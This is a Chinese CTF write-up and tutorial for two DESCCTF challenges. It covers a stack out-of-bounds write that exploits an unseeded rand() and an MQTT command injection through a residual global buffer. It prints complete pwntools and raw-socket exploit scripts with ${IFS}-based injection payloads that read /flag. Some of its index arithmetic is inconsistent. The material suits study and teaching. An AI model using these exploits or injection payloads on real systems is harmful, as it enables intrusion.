2026desctf-部分wp
字数 2315
更新时间 2026-03-12 13:11:54

2026 DESCCTF 部分题目Writeup与教学文档

第一题:array

题目信息

题目类型:二进制安全/Pwn
题目名称:array
技术点:栈溢出、随机数利用、栈对齐

漏洞代码分析

核心函数:vuln()

__int64 vuln()
{
  unsigned __int64 v1; // rbx
  _QWORD v2[17]; // [rsp+0h] [rbp-B0h] BYREF
  unsigned __int64 number1; // [rsp+88h] [rbp-28h] BYREF
  unsigned __int64 number2[3]; // [rsp+90h] [rbp-20h] BYREF
  
  puts("plz input your number1:");
  fflush(stdout);
  read(0, &number1, 8u);
  
  if ( number1 <= 0x11 )
  {
    while ( getchar() != 'D' )
    {
      getchar();
      read(0, number2, 8u);
      v2[0] = number2[0];
      v1 = number2[0];
      
      if ( v1 > rand() % (number1 + 1) )
      {
        puts("No!");
      }
      else
      {
        puts("plz input your number2:");
        read(0, &v2[number2[0] + 1], 8u);
      }
    }
    puts("Ok");
    return 0;
  }
  else
  {
    puts("No!");
    return 0xFFFFFFFFLL;
  }
}

关键漏洞点

  1. 未初始化的随机数种子:程序使用了rand()函数但未调用srand()初始化种子,导致每次运行生成的随机数序列是固定的、可预测的。

  2. 数组越界写入

    • 数组v2的定义为_QWORD v2[17],即17个元素(索引0-16)
    • 写入位置:&v2[number2[0] + 1]
    • number2[0]为0x10时,number2[0] + 1 = 0x11,对应索引16,仍在数组有效范围内
    • number2[0]为0x16时,number2[0] + 1 = 0x17,对应索引22,超出数组边界
  3. 类型处理细节read(0, &number1, 8u)向内存直接写入8字节,没有进行数值转换。输入\x11\x00\x00\x00\x00\x00\x00\x00会被当作0x11(17)处理。

利用思路

  1. 控制随机数条件:由于随机数序列固定,可以预先计算或测试出满足条件的随机数序列。

  2. 构造越界写入

    • 第一次写入:使number2[0] = 0x10,将v2[16](数组最后一个元素)修改为一个大值(如0x16)
    • 第二次写入:使number2[0] = 0x16,此时写入的目标地址为&v2[0x16+1] = &v2[23]
    • 栈布局分析:v2数组起始于rbp-0xB0,计算偏移:
      • v2[0]: rbp-0xB0
      • v2[16]: rbp-0xB0 + 16*8 = rbp-0x30
      • v2[23]: rbp-0xB0 + 23*8 = rbp-0x8(接近返回地址位置)
  3. 返回地址覆盖:通过越界写入将返回地址修改为后门函数地址。

  4. 栈对齐问题:x86-64架构在调用函数时要求栈指针16字节对齐,需要添加ret gadget(如0x000000000040101a)调整栈指针。

完整利用脚本

from pwn import *

io = process('./array')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# 初始输入:number1 = 0x11
io.send(b'\x11\x00\x00\x00\x00\x00\x00\x00')

def cyc():
    io.sendline(b'a')  # 跳过getchar()检查
    io.send(b'\x00')
    io.recvuntil("plz input your number2:")
    io.send(b'\x66\x66\x66\x66')

def change():
    io.sendline(b'a')
    io.send(b'\x10')  # 索引16
    io.recvuntil("plz input your number2:")
    io.send(b'\x17')  # 写入值0x17

def pwn1():
    io.sendline(b'a')
    io.send(b'\x16')  # 索引22(0x16)
    io.recvuntil("plz input your number2:")
    # 写入ret gadget地址,解决栈对齐
    io.send(p64(0x000000000040101a))

def pwn2():
    io.sendline(b'a')
    io.send(b'\x17')  # 索引23(0x17)
    io.recvuntil("plz input your number2:")
    # 写入后门函数地址
    io.send(p64(0x401339))

def exec():
    io.sendline(b'D')  # 触发循环退出

# 多次调用cyc()控制随机数条件
for _ in range(20):
    cyc()

change()

# 继续控制随机数
for _ in range(8):
    cyc()

pwn2()  # 写入后门函数地址
for _ in range(7):
    cyc()

pwn1()  # 写入ret gadget
exec()  # 退出循环,触发ROP链

io.interactive()

教学要点

  1. 随机数预测:未初始化的随机数生成器产生的序列是确定性的,在CTF环境中可预测。
  2. 数组边界计算:准确计算数组索引与内存偏移的关系,特别是QWORD(8字节)数组的偏移计算。
  3. 栈布局分析:理解函数栈帧结构,包括局部变量排列、保存的rbp和返回地址位置。
  4. 栈对齐要求:x86-64调用约定要求栈指针在call指令执行时为16的倍数,需要使用ret gadget调整。

第二题:mqtt

题目信息

题目类型:IoT安全/协议利用
题目名称:mqtt
依赖库:libpaho-mqtt3c.so.1
技术点:MQTT协议、命令注入、全局变量利用

程序分析

核心MQTT回调函数

__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
  // ... 变量声明
  
  v9 = *(_QWORD *)(a4 + 16);
  
  // 关键过滤逻辑
  if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 
       && !strcmp(s1, "httpclient") )
  {
    MQTTClient_freeMessage(&v5);
    MQTTClient_free(v7);
    return 1;
  }
  else
  {
    http(v9);  // 触发漏洞函数
    // ... 清理操作
    return 1;
  }
}

漏洞函数:http()

// 关键代码段
snprintf(src, 0x80u, "cat /home/ctf/%s", s);
n = strlen(src);
memcpy(cmd, src, n);

if ( !strcmp(s, "index_html") )
{
  stream = popen(cmd, "r");
  // ... 读取输出
}

漏洞分析

  1. 过滤绕过:只有当JSON中的clientid字段值为"httpclient"时,才会被过滤,否则进入http()函数。

  2. 全局变量利用

    • cmd是全局变量,大小为0x80字节
    • 第一次调用:传入恶意payload,如"index_html;cat${IFS}/flag#"(#注释后续字符)
    • snprintf生成命令:cat /home/ctf/index_html;cat${IFS}/flag#
    • memcpy复制时不包含末尾的\0,导致全局变量cmd中保留#字符之后的内容
  3. 命令拼接执行

    • 第二次调用:传入合法值"index_html"
    • 生成命令:cat /home/ctf/index_html
    • cmd中仍包含第一次调用时#字符后的残留数据
    • 最终执行的命令为:cat /home/ctf/index_html;cat${IFS}/flag

利用思路

  1. 第一阶段:发送恶意MQTT消息,在cmd全局变量中写入包含命令注入的payload
  2. 第二阶段:发送合法MQTT消息触发popen()执行
  3. 利用全局变量残留:由于第一次写入没有null终止符,第二次写入时与残留数据拼接形成完整命令

过滤绕过技巧

  • 使用${IFS}代替空格绕过可能的空格过滤
  • 使用#注释掉第一次payload中不需要的部分
  • 通配符使用:cat${IFS}f*, cat${IFS}*flag*

完整利用脚本

#!/usr/bin/env python3
import socket
import struct
import json
import threading
import time
import random

HOST = "localhost"
PORT = 9999
TOPIC = "test/topic"

class MQTTClient:
    def __init__(self, host, port):
        self.sock = socket.socket()
        self.sock.connect((host, port))
        self.running = True
        
    def connect(self, client_id):
        # 发送CONNECT包
        connect_flags = 0x02  # Clean Session
        remaining_length = 10 + 2 + len(client_id)
        pkt = bytearray([0x10, remaining_length])
        pkt.extend(b"\x00\x04MQTT\x05")
        pkt.append(connect_flags)
        pkt.extend(b"\x00\x3c")  # Keep Alive
        pkt.extend(struct.pack("!H", len(client_id)))
        pkt.extend(client_id.encode())
        self.sock.send(pkt)
        
    def publish(self, topic, payload, qos=0):
        fixed_header = 0x30  # PUBLISH
        remaining_length = 2 + len(topic) + len(payload)
        if qos > 0:
            remaining_length += 2
            
        pkt = bytearray([fixed_header, remaining_length])
        pkt.extend(struct.pack("!H", len(topic)))
        pkt.extend(topic.encode())
        pkt.extend(payload.encode())
        self.sock.send(pkt)
        
    def subscribe(self, topic, qos=0):
        pkt_id = random.randint(1, 0xffff)
        remaining_length = 2 + 2 + len(topic) + 1
        pkt = bytearray([0x82, remaining_length])
        pkt.extend(struct.pack("!H", pkt_id))
        pkt.extend(struct.pack("!H", len(topic)))
        pkt.extend(topic.encode())
        pkt.append(qos)
        self.sock.send(pkt)
        
    def close(self):
        self.sock.close()

def trigger(cmd):
    client = MQTTClient(HOST, PORT)
    client.connect("attacker")
    
    # 第一阶段:写入恶意命令到全局变量
    payload1 = {
        "clientid": "nothttpclient",  # 绕过过滤
        "message": f"index_html;{cmd}#"
    }
    client.publish(TOPIC, json.dumps(payload1))
    
    time.sleep(0.5)
    
    # 第二阶段:触发命令执行
    payload2 = {
        "clientid": "nothttpclient",
        "message": "index_html"
    }
    client.publish(TOPIC, json.dumps(payload2))
    
    client.close()

def reader_loop(sub):
    while sub.running:
        try:
            data = sub.sock.recv(1024)
            if not data:
                break
            # 解析MQTT响应
            # ... 省略解析代码
        except:
            break

def main():
    sub = MQTTClient(HOST, PORT)
    sub.connect(f"sub{random.randint(1000,9999)}")
    sub.subscribe(TOPIC, qos=0)
    
    # 启动监听线程
    t = threading.Thread(target=reader_loop, args=(sub,), daemon=True)
    t.start()
    
    time.sleep(3)  # 等待连接稳定
    
    # 尝试多种命令
    cmds = [
        "echo${IFS}PWNED",
        "echo${IFS}$PWD",
        "cat${IFS}/flag",
        "cat${IFS}f*",
        "cat${IFS}flag*",
        "cat${IFS}*flag*",
    ]
    
    for cmd in cmds:
        try:
            trigger(cmd)
        except Exception as e:
            print(f"[!] Error executing {cmd}: {e}")
    
    time.sleep(5)
    sub.running = False
    sub.close()

if __name__ == "__main__":
    main()

教学要点

  1. MQTT协议基础:理解CONNECT、PUBLISH、SUBSCRIBE等控制包格式
  2. 全局变量生命周期:理解全局变量在多次函数调用间的持久性
  3. 命令注入技巧
    • 使用${IFS}绕过空格限制
    • 使用#注释符截断不需要的命令部分
    • 分阶段攻击:先污染,后触发
  4. 字符串处理漏洞
    • memcpy不复制null终止符的风险
    • 缓冲区残留数据导致的命令拼接
  5. IoT安全特性:MQTT作为物联网常用协议的安全考虑

总结与扩展

这两道题目涵盖了二进制安全和物联网安全两个重要方向:

  1. array题目重点:

    • 栈溢出利用的精确计算
    • 随机数预测在CTF中的常见应用
    • 栈对齐问题的识别与解决
    • 返回导向编程(ROP)的基本应用
  2. mqtt题目重点:

    • 协议层面的安全分析
    • 全局变量在多次调用间的状态保持
    • 命令注入的多阶段利用
    • 字符串处理漏洞的实战利用

建议学习者:

  1. 在本地搭建环境复现漏洞
  2. 对array题目,尝试不同随机数种子的情况
  3. 对mqtt题目,尝试其他过滤绕过方式
  4. 分析两种漏洞的防御方法(栈保护、ASLR、输入验证、安全的字符串处理等)
相似文章
相似文章
 全屏